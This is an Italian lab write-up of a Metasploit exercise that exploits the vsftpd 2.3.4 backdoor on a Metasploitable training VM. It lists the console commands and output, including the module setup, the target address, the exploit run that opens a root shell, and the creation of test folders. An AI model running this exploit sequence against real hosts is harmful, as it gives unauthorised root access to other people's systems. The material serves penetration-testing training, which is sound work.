

## ESERCIZIO MSFCONSOLE

```
=[ metasploit v6.3.55-dev ]
+ -- ==[ 2397 exploits - 1235 auxiliary - 422 post ]
+ -- ==[ 1391 payloads - 46 encoders - 11 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank      Check  Description
-  -                                     -              -      -      -
0  auxiliary/dos/ftp/vsftpd_232            2011-02-03      normal    Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor    2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > Interrupt: use the 'exit' command to quit
msf6 > 
```

Avvio del programma **msfconsole** per procedere alla sessione di hacking.

La sessione di hacking con il servizio di **vsftpd**, come primo comando la ricerca: **search vsftpd**

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options
```

### Introduzione

L'exploit `vsftpd_234_backdoor` è progettato per sfruttare una vulnerabilità nel server FTP `vsftpd` versione 2.3.4 che consente l'esecuzione remota del codice. Questa vulnerabilità è stata scoperta nel 2011 e può essere sfruttata da un attaccante per ottenere accesso non autorizzato al sistema target.

### Attività eseguita

Il comando **use exploit/unix/ftp/vsftpd\_234\_backdoor** viene utilizzato all'interno del framework di penetration testing Metasploit (MSF6). Questo comando imposta Metasploit per utilizzare l'exploit `vsftpd_234_backdoor` come parte di un'attività di test di penetrazione.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      localhost        no        The local client address
  CPORT      4444             no        The local client port
  Proxies    []               no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     []               yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21               yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  CMD       /bin/sh          no        The command to execute

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

## Introduzione

Ho esaminato le opzioni disponibili per l'exploit vsftpd\_234\_backdoor utilizzando il framework Metasploit (MSF6). Questo exploit mira a sfruttare una vulnerabilità nel server FTP vsftpd versione 2.3.4 al fine di ottenere l'accesso non autorizzato al sistema di destinazione.

## Opzioni del Modulo

Il modulo dell'exploit fornisce diverse opzioni che possono essere configurate per personalizzare e adattare l'attacco:

- **RHOSTS:** Indica l'indirizzo del sistema di destinazione che si intende attaccare. È una opzione obbligatoria, che deve essere specificata.
- **RPORT:** Specifica la porta di destinazione del servizio FTP sul sistema bersaglio. È impostato di default su porta 21 (TCP).
- **CHOST:** Rappresenta l'indirizzo IP locale del client. Non è necessario per l'esecuzione dell'exploit.
- **CPORT:** Indica la porta locale del client. Anche questa opzione non è essenziale.
- **Proxies:** Consente di configurare una catena di proxy per l'attacco, ma non è richiesto per l'utilizzo di base dell'exploit.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhost 192.168.253.81
rhost => 192.168.253.81
```

E' stato impostato l'indirizzo IP del sistema di destinazione (RHOST) a 192.168.253.81 nell'exploit vsftpd\_234\_backdoor all'interno di Metasploit (MSF6).

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  Proxies     Proxies            no        A proxy chain of format type:host:port[,type:host:port][ ... ]
  RHOSTS     192.168.253.81    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      21                yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS     RHOSTS           yes       The target host(s)
  RPORT      RPORT            yes       The target port (TCP)

Exploit target:

  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.
```

Nell'analisi delle opzioni dell'exploit vsftpd\_234\_backdoor all'interno di Metasploit, ho stato osservato un cambiamento:

- **RHOSTS:** L'indirizzo IP del sistema di destinazione è stato modificato da un valore vuoto a 192.168.253.81. Questo indica che l'exploit è stato configurato per mirare a un nuovo sistema di destinazione con l'indirizzo IP specificato.

Le altre opzioni rimangono invariate:

- **CHOST, CPORT, e Proxies:** Queste opzioni non sono state modificate e rimangono come impostazioni predefinite o vuote.
- **RPORT:** La porta di destinazione del servizio FTP rimane impostata su 21 (TCP), senza variazioni.

In breve, il cambiamento principale riguarda l'aggiornamento dell'indirizzo IP del sistema di destinazione, mentre le altre opzioni rimangono costanti.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads

  #  Name                                     Disclosure Date  Rank  Check  Description
  --  --
  0  payload/cmd/unix/interact                 normal         No    Unix Command, Interact with Established Connection
```

Nell'ambito dell'exploit vsftpd\_234\_backdoor all'interno di Metasploit (MSF6), sono state esaminate le payload compatibili:

- **Payload Disponibile:** La sola payload compatibile è **payload/cmd/unix/interact**.

- **Descrizione:** Questa payload permette l'esecuzione di comandi Unix e consente all'attaccante di interagire direttamente con la connessione stabilita una volta che l'exploit ha avuto successo.
- **Classificazione:** La payload è classificata come "normale" in base al suo potenziale impatto.
- **Verifica:** Non è disponibile un metodo automatico per verificare se la payload può essere eseguita con successo sul sistema di destinazione senza interazione umana.

In conclusione, l'exploit `vsftpd_234_backdoor` supporta una sola payload, che offre all'attaccante la capacità di eseguire comandi Unix e interagire con la connessione compromessa.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit
[*] 192.168.253.81:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.253.81:21 - USER: 331 Please specify the password.
[+] 192.168.253.81:21 - Backdoor service has been spawned, handling...
[+] 192.168.253.81:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.253.109:39879 → 192.168.253.81:6200) at 2024-03-24 20:58:14 +0100
```

L'exploit è stato eseguito con successo contro l'indirizzo IP 192.168.253.81 sulla porta 21, dove è stato individuato un server vsFTPd 2.3.4. Dopo aver inviato il comando USER, è stato rilevato che il servizio backdoor è stato attivato e gestito correttamente. L'attacco ha avuto successo nel fornire una shell di comando con privilegi di root, consentendo all'attaccante di assumere il controllo completo del sistema bersaglio.

```
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
cd root
```

La lista delle cartelle di Metasploitable.

```
cd root  
mkdir /test
```

Spostamento nella directory root per la creazione di una nuova cartella.

```
mkdir test_meta
```

Creazione di una nuova cartella **test\_meta**, nella directory di root

```
msfadmin@metasploitable:/root$ ls  
Desktop reset_logs.sh test_meta vnc.log  
msfadmin@metasploitable:/root$ _
```

È verificato che la cartella **test\_meta** è stata creata, ed appare anche in metasploitable.